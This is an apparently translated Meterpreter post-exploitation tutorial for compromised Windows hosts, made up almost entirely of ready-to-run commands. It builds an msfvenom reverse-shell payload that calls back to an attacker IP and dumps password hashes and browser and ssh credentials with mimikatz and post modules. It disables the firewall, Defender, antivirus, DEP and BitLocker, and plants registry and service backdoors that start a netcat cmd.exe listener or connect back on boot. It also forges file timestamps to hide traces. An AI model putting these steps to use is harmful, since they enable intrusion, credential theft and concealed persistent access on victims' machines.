The post penetration stage is to expand the results after gaining control of the target operating system
First, construct a payload
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o 1.exe
A machine has been found to execute my payload

Further access to higher permissions.
View basic information
View system information
sysinfo
view user permission
getuid
View network environment
run get_local_subnets
View kernel
uname -a
View version
cat /etc/issue
Information collection module
Some commonly used post modules 1. Judge whether the target machine is a virtual machine
run post/windows/gather/checkvm

2. View the account and token of the target host
run post/windows/gather/credentials/credential_collector
3. View the installed software of the target machine
run post/windows/gather/enum_applications

4. Local right lifting test module
If the authority you get is not the administrator's system authority, and you don't know whether there is a vulnerability of local right lifting, you can choose the following modules for testing
run post/multi/recon/local_exploit_suggester

It will automatically walk through all the vulnerabilities that can be tested, and then list the feasible ones.
5. View recently opened files
run post/windows/gather/dumplinks
6. Check the web application account password for Firefox browser login
Suppose that the target system has Firefox installed and the account password is set to be saved in the browser
run post/multi/gather/firefox_creds
7.ssh save account view
run post/multi/gather/ssh_creds
8. Detect whether a program on the system is malware For example:
run post/multi/gather/check_malware REMOTEFILE=c:\\a.exe
9. Collect password hash on the system (administrator permission is required)
run post/windows/gather/smart_hashdump
10. View the login user of the target machine
run post/windows/gather/enum_logged_on_users
11. Collect the login credentials of the target machine
run post/windows/gather/credentials/credential_collector
12. View the partition of the target machine
run post/windows/gather/forensics/enum_drives
13. Get browser cache file
run post/windows/gather/enum_ie
Information collection script
The collected target machine information will be downloaded locally
run winneum run scraper
General operation
For more command operations, please see the article [1]
Get system permission
getsystem
Get user password hash
The hash value used to obtain the user name and password of the system account
hashdump
Get machine online time
idletime
Target host file search
search command
For example, search all. ini files of the host
search -f *.ini
Searching the whole computer may take a long time, and observing users may notice that their hard disk is constantly bumpy, so search in the specified directory. For example:
search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f *.pdf
Mimikatz extension
system permission is required
load mimikatz load The new commands are as follows: wdigest kerberos msv ssp tspkg ivessp

These above are related to the account number of the system mimikatz_command -f cannot get help, but it can get the usage method from the error message


View system operation services
mimikatz_command -f service::list
View system processes
mimikatz_command -f process::list
You can get more command prompts through error reporting

Turn off firewall
Premise: the shell that has obtained the administrator permission of the target host through the vulnerability
Use the following command to turn off the firewall
shell netsh advfirewall set allprofiles state off
Check it. It is closed successfully

Further end windend
net stop windefend //netstop is used to end the windows service
View service status under windows Run services.msc with win+r

Add a firewall policy
First enter the command prompt
execute -f cmd -i -H //Open the shell in a hidden way
View firewall status
netsh firewall show opmode
Add an allow policy
netsh firewall add portopening TCP 4444 "test" ENABLE ALL //The name test can be set as a hidden name, which can be extracted from the firewall policy, Achieve the purpose of concealment
Kill antivirus software
Under the command of meterpreter, enter
Run killav
You can also use the post module directly
run post/windows/manage/killav
Turn on Remote Desktop Services
run post/windows/manage/enable_rdp

Use saved scripts
Turn on Remote Desktop Services
run getgui –e
Add remote desktop user and password
run getgui -u user -p pass
Grab screen
screenshot
Or use plug-ins
load espia //Loading plug-ins screengrab //Screen capture
Registry operation
registry

For example: We have obtained the permission of the merterpreter of the target host. By modifying the registry, we will run the nc.exe uploaded to the target host every time the target host starts up, so as to facilitate the monitoring of the target host. 1. Upload nc.exe to the target host
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 //Transferred to the system directory
2. Check the contents of the registry that follow the host startup by default
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run //reg is a special command in merterpreter to view and modify the registry

3. Add a key value
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe' //The setval parameter is to add or modify a key value // -The Ldp L parameter is listening, d means in the background, and p means port // All in all, the unknown key value is added to the registry. The content is to execute nc.exe in the directory, open cmd.exe in the background, listen to port 444 and wait for connection.
View the successful insertion after successful execution.

You can also use the following command
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc // queryval is a query

Additional registry options [2]
Disk encryption
Bitlocker disk encryption. The encrypted files of some computers are encrypted and sealed. Bitlocker encryption is one, which is integrated into the windows system software system.
Turn off disk encryption on the target host:
manage-bde -off C:
To view disk encryption status:
manage-bde -status C:
Close DEP
DEP is a hardware based cpu protection technology. Closing DEPk can easily break the enemy's defense. You can use the following commands
bcdedit.exe /set {current} nx AlwaysOff
File access time modification
When operating on the target system file, the time of file operation will be left, including creation time, modification time and change time. As the name suggests, the system administrator can use the information of these three times to check whether and when the file has been changed and judge whether the system has been invaded.
For penetration testing, of course, we hope to erase the traces of changes. You can use stat - file name to view the details of the file time.
Timestomp Timestamp is a command used by merterpreter to view and modify the change time of a file. View the specific time of the file
timestomp -v 1.txt
Compared with stat command, Entry Modified: 2020-07-22 22:51:39 -0400

Change the MAC time of one file to copy according to the MAC time of another file
timestomp -f c:\\autoexec.bat 1.txt
Time specific modification parameters
-m //Modified time -a //Modify Accessed time -c //Modify Created time -e //Modify Entry Modified time -z //Modify all four times
For example:
timestomp -z "MM/DD/YYYY HH24:MI:SS" 2.txt
AutoRunScript
Generally, payLoad has advanced parameters, in which there is an advanced advanced option.

You can see that there is an AutoRunScript parameter, which is to execute the script immediately after executing the payload.
For example: set AutoRunScript migrate -n explorer.exe This statement means that once you get the shell, immediately migrate the process to explorer.exe to avoid losing the shell after the injected toxic exe is killed.
Or other scripts, for example, view the most recently opened files on the target host immediately
set AutoRunScript post/windows/gather/dumplinks
If there are two scripts in sequence, you can add a script that executes first in the InitialAutoRunScript option.
Modify hosts file
run hostsedit -e 1.1.1.1,www.baidu.com
Persistent back door
metsvc
run metsvc -A // Delete - r

This command will directly generate a system process named metsvc.exe, listening on port 31337 And the boot will start itself, but the disadvantage is that the port cannot be configured by itself, and the name of the uploaded exe file cannot be changed.
Connect the rear door
set PAYLOAD windows/metsvc_bind_tcp set LPORT 31337 set RHOST 1.1.1.1

I haven't got the shell card for a long time. It's estimated that this module won't be maintained
persistence
Check the configuration items of the parameters

-A The default connection method is exploit/multi/handler -S Work on the system as a system service process -X Automatic execution when the system is powered on -i Delay time, when the service is running n Seconds to perform a loopback -p port -r Back connected ip Address, that is kali Address of
Example:
run persistence -X -i 10 -p 4444 -r 1.1.1.1 run persistence -U -i 20 -p 4444 -r 1.1.1.1 run persistence -S -i 20 -p 4444 -r 1.1.1.1
reference material
[1] General operation details:“ https://blog.csdn.net/Yu_csdnstory/article/details/107441171 "
[2] Additional registry details: https://support.accessdata.com/hc/en-us/articles/204448155-Registry-Quick-Find-Chart